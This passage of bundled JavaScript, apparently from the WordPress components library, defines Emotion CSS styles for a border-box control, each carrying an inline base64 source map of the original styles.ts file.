WZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJ1xuKSA9PiBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0ZmxleDogMTtcblx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/IHVuZGVmaW5lZCA6ICc4MCUnIH07XG5gO1xuXG5leHBvcnQgY29uc3QgY2VudGVyZWRCb3JkZXJDb250cm9sID0gY3NzYFxuXHRncmlkLWNvbHVtbjogc3BhbiAyO1xuXHRtYXJnaW46IDAgYXV0bztcbmA7XG5cbmV4cG9ydCBjb25zdCByaWdodEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAnYXV0bycgfSApKCkgfVxuYDtcbiJdfQ== */",
29395 toString: _EMOTION_STRINGIFIED_CSS_ERROR__9
29396 };
29397 var borderBoxControlLinkedButton = (size3) => {
29398 return /* @__PURE__ */ css("position:absolute;top:", size3 === "__unstable-large" ? "8px" : "3px", ";", rtl({
29399 right: 0
29400 })(), " line-height:0;" + (false ? "" : ";label:borderBoxControlLinkedButton;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyQlciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4uL2JvcmRlci1jb250cm9sL3R5cGVzJztcbmltcG9ydCB0eXBlIHsgQm9yZGVycyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbCA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgbGlua2VkQm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0ZmxleDogMTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMjRweCcgfSApKCkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sTGlua2VkQnV0dG9uID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnOHB4JyA6ICczcHgnIH07XG5cdFx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSgpIH1cblx0XHRsaW5lLWhlaWdodDogMDtcblx0YDtcbn07XG5cbmNvbnN0IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHtcblx0XHRjb2xvciA9IENPTE9SUy5ncmF5WyAyMDAgXSxcblx0XHRzdHlsZSA9ICdzb2xpZCcsXG5cdFx0d2lkdGggPSBDT05GSUcuYm9yZGVyV2lkdGgsXG5cdH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgY2xhbXBlZFdpZHRoID1cblx0XHR3aWR0aCAhPT0gQ09ORklHLmJvcmRlcldpZHRoID8gYGNsYW1wKDFweCwgJHsgd2lkdGggfSwgMTBweClgIDogd2lkdGg7XG5cdGNvbnN0IGhhc1Zpc2libGVCb3JkZXIgPSAoICEhIHdpZHRoICYmIHdpZHRoICE9PSAnMCcgKSB8fCAhISBjb2xvcjtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBoYXNWaXNpYmxlQm9yZGVyID8gc3R5bGUgfHwgJ3NvbGlkJyA6IHN0eWxlO1xuXG5cdHJldHVybiBgJHsgY29sb3IgfSAkeyBib3JkZXJTdHlsZSB9ICR7IGNsYW1wZWRXaWR0aCB9YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sVmlzdWFsaXplciA9IChcblx0Ym9yZGVycz86IEJvcmRlcnMsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHR0b3A6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdHJpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3R0b206ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdGxlZnQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICczOXB4JyA6ICcyOXB4JyB9O1xuXHRcdGJvcmRlci10b3A6ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy50b3AgKSB9O1xuXHRcdGJvcmRlci1ib3R0b206ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5ib3R0b20gKSB9O1xuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyTGVmdDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LmxlZnQgKSxcblx0XHR9ICkoKSB9XG5cdFx0JHsgcnRsKCB7XG5cdFx0XHRib3JkZXJSaWdodDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LnJpZ2h0ICksXG5cdFx0fSApKCkgfVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2xTcGxpdENvbnRyb2xzID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRmbGV4OiAxO1xuXHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gdW5kZWZpbmVkIDogJzgwJScgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjZW50ZXJlZEJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGdyaWQtY29sdW1uOiBzcGFuIDI7XG5cdG1hcmdpbjogMCBhdXRvO1xuYDtcblxuZXhwb3J0IGNvbnN0IHJpZ2h0Qm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6ICdhdXRvJyB9ICkoKSB9XG5gO1xuIl19 */");
29401 };
29402 var borderBoxStyleWithFallback = (border) => {
29403 const {
29404 color: color2 = COLORS.gray[200],
29405 style: style2 = "solid",
29406 width = config_values_default.borderWidth
29407 } = border || {};
29408 const clampedWidth = width !== config_values_default.borderWidth ? `clamp(1px, ${width}, 10px)` : width;
29409 const hasVisibleBorder = !!width && width !== "0" || !!color2;
29410 const borderStyle = hasVisibleBorder ? style2 || "solid" : style2;
29411 return `${color2} ${borderStyle} ${clampedWidth}`;
29412 };
29413 var borderBoxControlVisualizer = (borders2, size3) => {
29414 return /* @__PURE__ */ css("position:absolute;top:", size3 === "__unstable-large" ? "20px" : "15px", ";right:", size3 === "__unstable-large" ? "39px" : "29px", ";bottom:", size3 === "__unstable-large" ? "20px" : "15px", ";left:", size3 === "__unstable-large" ? "39px" : "29px", ";border-top:", borderBoxStyleWithFallback(borders2?.top), ";border-bottom:", borderBoxStyleWithFallback(borders2?.bottom), ";", rtl({
29415 borderLeft: borderBoxStyleWithFallback(borders2?.left)
29416 })(), " ", rtl({
29417 borderRight: borderBoxStyleWithFallback(borders2?.right)
29418 })(), ";" + (false ? "" : ";label:borderBoxControlVisualizer;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzRFciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4uL2JvcmRlci1jb250cm9sL3R5cGVzJztcbmltcG9ydCB0eXBlIHsgQm9yZGVycyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbCA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgbGlua2VkQm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0ZmxleDogMTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMjRweCcgfSApKCkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sTGlua2VkQnV0dG9uID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnOHB4JyA6ICczcHgnIH07XG5cdFx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSgpIH1cblx0XHRsaW5lLWhlaWdodDogMDtcblx0YDtcbn07XG5cbmNvbnN0IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHtcblx0XHRjb2xvciA9IENPTE9SUy5ncmF5WyAyMDAgXSxcblx0XHRzdHlsZSA9ICdzb2xpZCcsXG5cdFx0d2lkdGggPSBDT05GSUcuYm9yZGVyV2lkdGgsXG5cdH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgY2xhbXBlZFdpZHRoID1cblx0XHR3aWR0aCAhPT0gQ09ORklHLmJvcmRlcldpZHRoID8gYGNsYW1wKDFweCwgJHsgd2lkdGggfSwgMTBweClgIDogd2lkdGg7XG5cdGNvbnN0IGhhc1Zpc2libGVCb3JkZXIgPSAoICEhIHdpZHRoICYmIHdpZHRoICE9PSAnMCcgKSB8fCAhISBjb2xvcjtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBoYXNWaXNpYmxlQm9yZGVyID8gc3R5bGUgfHwgJ3NvbGlkJyA6IHN0eWxlO1xuXG5cdHJldHVybiBgJHsgY29sb3IgfSAkeyBib3JkZXJTdHlsZSB9ICR7IGNsYW1wZWRXaWR0aCB9YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sVmlzdWFsaXplciA9IChcblx0Ym9yZGVycz86IEJvcmRlcnMsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHR0b3A6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdHJpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3R0b206ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdGxlZnQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICczOXB4JyA6ICcyOXB4JyB9O1xuXHRcdGJvcmRlci10b3A6ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy50b3AgKSB9O1xuXHRcdGJvcmRlci1ib3R0b206ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5ib3R0b20gKSB9O1xuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyTGVmdDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LmxlZnQgKSxcblx0XHR9ICkoKSB9XG5cdFx0JHsgcnRsKCB7XG5cdFx0XHRib3JkZXJSaWdodDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LnJpZ2h0ICksXG5cdFx0fSApKCkgfVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2xTcGxpdENvbnRyb2xzID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRmbGV4OiAxO1xuXHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gdW5kZWZpbmVkIDogJzgwJScgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjZW50ZXJlZEJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGdyaWQtY29sdW1uOiBzcGFuIDI7XG5cdG1hcmdpbjogMCBhdXRvO1xuYDtcblxuZXhwb3J0IGNvbnN0IHJpZ2h0Qm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6ICdhdXRvJyB9ICkoKSB9XG5gO1xuIl19 */");
29419 };
29420 var borderBoxControlSplitControls = (size3) => /* @__PURE__ */ css("position:relative;flex:1;width:", size3 === "__unstable-large" ? void 0 : "80%", ";" + (false ? "" : ";label:borderBoxControlSplitControls;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF5RVEiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4uL2JvcmRlci1jb250cm9sL3R5cGVzJztcbmltcG9ydCB0eXBlIHsgQm9yZGVycyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbCA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgbGlua2VkQm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0ZmxleDogMTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMjRweCcgfSApKCkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sTGlua2VkQnV0dG9uID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnOHB4JyA6ICczcHgnIH07XG5cdFx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSgpIH1cblx0XHRsaW5lLWhlaWdodDogMDtcblx0YDtcbn07XG5cbmNvbnN0IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHtcblx0XHRjb2xvciA9IENPTE9SUy5ncmF5WyAyMDAgXSxcblx0XHRzdHlsZSA9ICdzb2xpZCcsXG5cdFx0d2lkdGggPSBDT05GSUcuYm9yZGVyV2lkdGgsXG5cdH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgY2xhbXBlZFdpZHRoID1cblx0XHR3aWR0aCAhPT0gQ09ORklHLmJvcmRlcldpZHRoID8gYGNsYW1wKDFweCwgJHsgd2lkdGggfSwgMTBweClgIDogd2lkdGg7XG5cdGNvbnN0IGhhc1Zpc2libGVCb3JkZXIgPSAoICEhIHdpZHRoICYmIHdpZHRoICE9PSAnMCcgKSB8fCAhISBjb2xvcjtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBoYXNWaXNpYmxlQm9yZGVyID8gc3R5bGUgfHwgJ3NvbGlkJyA6IHN0eWxlO1xuXG5cdHJldHVybiBgJHsgY29sb3IgfSAkeyBib3JkZXJTdHlsZSB9ICR7IGNsYW1wZWRXaWR0aCB9YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sVmlzdWFsaXplciA9IChcblx0Ym9yZGVycz86IEJvcmRlcnMsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHR0b3A6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdHJpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3R0b206ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdGxlZnQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICczOXB4JyA6ICcyOXB4JyB9O1xuXHRcdGJvcmRlci10b3A6ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy50b3AgKSB9O1xuXHRcdGJvcmRlci1ib3R0b206ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5ib3R0b20gKSB9O1xuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyTGVmdDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LmxlZnQgKSxcblx0XHR9ICkoKSB9XG5cdFx0JHsgcnRsKCB7XG5cdFx0XHRib3JkZXJSaWdodDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LnJpZ2h0ICksXG5cdFx0fSApKCkgfVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2xTcGxpdENvbnRyb2xzID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRmbGV4OiAxO1xuXHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gdW5kZWZpbmVkIDogJzgwJScgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjZW50ZXJlZEJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGdyaWQtY29sdW1uOiBzcGFuIDI7XG5cdG1hcmdpbjogMCBhdXRvO1xuYDtcblxuZXhwb3J0IGNvbnN0IHJpZ2h0Qm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6ICdhdXRvJyB9ICkoKSB9XG5gO1xuIl19 */");
29421 var centeredBorderControl = false ? {
29422 name: "1nwbfnf",
29423 styles: "grid-column:span 2;margin:0 auto"
29424 } : {
29425 name: "gedmrr-centeredBorderControl",
29426 styles: "grid-column:span 2;margin:0 auto;label:centeredBorderControl;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErRXdDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcblxuaW1wb3J0IHR5cGUgeyBCb3JkZXIgfSBmcm9tICcuLi9ib3JkZXItY29udHJvbC90eXBlcyc7XG5pbXBvcnQgdHlwZSB7IEJvcmRlcnMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2wgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IGxpbmtlZEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdGZsZXg6IDE7XG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogJzI0cHgnIH0gKSgpIH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVyID0gY3NzYFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbExpbmtlZEJ1dHRvbiA9IChcblx0c2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJ1xuKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzhweCcgOiAnM3B4JyB9O1xuXHRcdCR7IHJ0bCggeyByaWdodDogMCB9ICkoKSB9XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdGA7XG59O1xuXG5jb25zdCBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayA9ICggYm9yZGVyPzogQm9yZGVyICkgPT4ge1xuXHRjb25zdCB7XG5cdFx0Y29sb3IgPSBDT0xPUlMuZ3JheVsgMjAwIF0sXG5cdFx0c3R5bGUgPSAnc29saWQnLFxuXHRcdHdpZHRoID0gQ09ORklHLmJvcmRlcldpZHRoLFxuXHR9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdGNvbnN0IGNsYW1wZWRXaWR0aCA9XG5cdFx0d2lkdGggIT09IENPTkZJRy5ib3JkZXJXaWR0aCA/IGBjbGFtcCgxcHgsICR7IHdpZHRoIH0sIDEwcHgpYCA6IHdpZHRoO1xuXHRjb25zdCBoYXNWaXNpYmxlQm9yZGVyID0gKCAhISB3aWR0aCAmJiB3aWR0aCAhPT0gJzAnICkgfHwgISEgY29sb3I7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gaGFzVmlzaWJsZUJvcmRlciA/IHN0eWxlIHx8ICdzb2xpZCcgOiBzdHlsZTtcblxuXHRyZXR1cm4gYCR7IGNvbG9yIH0gJHsgYm9yZGVyU3R5bGUgfSAkeyBjbGFtcGVkV2lkdGggfWA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbFZpc3VhbGl6ZXIgPSAoXG5cdGJvcmRlcnM/OiBCb3JkZXJzLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRyaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzM5cHgnIDogJzI5cHgnIH07XG5cdFx0Ym90dG9tOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRsZWZ0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3JkZXItdG9wOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8udG9wICkgfTtcblx0XHRib3JkZXItYm90dG9tOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8uYm90dG9tICkgfTtcblx0XHQkeyBydGwoIHtcblx0XHRcdGJvcmRlckxlZnQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5sZWZ0ICksXG5cdFx0fSApKCkgfVxuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyUmlnaHQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5yaWdodCApLFxuXHRcdH0gKSgpIH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sU3BsaXRDb250cm9scyA9IChcblx0c2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJ1xuKSA9PiBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0ZmxleDogMTtcblx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/IHVuZGVmaW5lZCA6ICc4MCUnIH07XG5gO1xuXG5leHBvcnQgY29uc3QgY2VudGVyZWRCb3JkZXJDb250cm9sID0gY3NzYFxuXHRncmlkLWNvbHVtbjogc3BhbiAyO1xuXHRtYXJnaW46IDAgYXV0bztcbmA7XG5cbmV4cG9ydCBjb25zdCByaWdodEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAnYXV0bycgfSApKCkgfVxuYDtcbiJdfQ== */",
29427 toString: _EMOTION_STRINGIFIED_CSS_ERROR__9
29428 };
29429 var rightBorderControl = () => /* @__PURE__ */ css(rtl({
29430 marginLeft: "auto"
29431 })(), ";" + (false ? "" : ";label:rightBorderControl;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvRjJDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcblxuaW1wb3J0IHR5cGUgeyBCb3JkZXIgfSBmcm9tICcuLi9ib3JkZXItY29udHJvbC90eXBlcyc7XG5pbXBvcnQgdHlwZSB7IEJvcmRlcnMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2wgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IGxpbmtlZEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdGZsZXg6IDE7XG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogJzI0cHgnIH0gKSgpIH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVyID0gY3NzYFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbExpbmtlZEJ1dHRvbiA9IChcblx0c2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc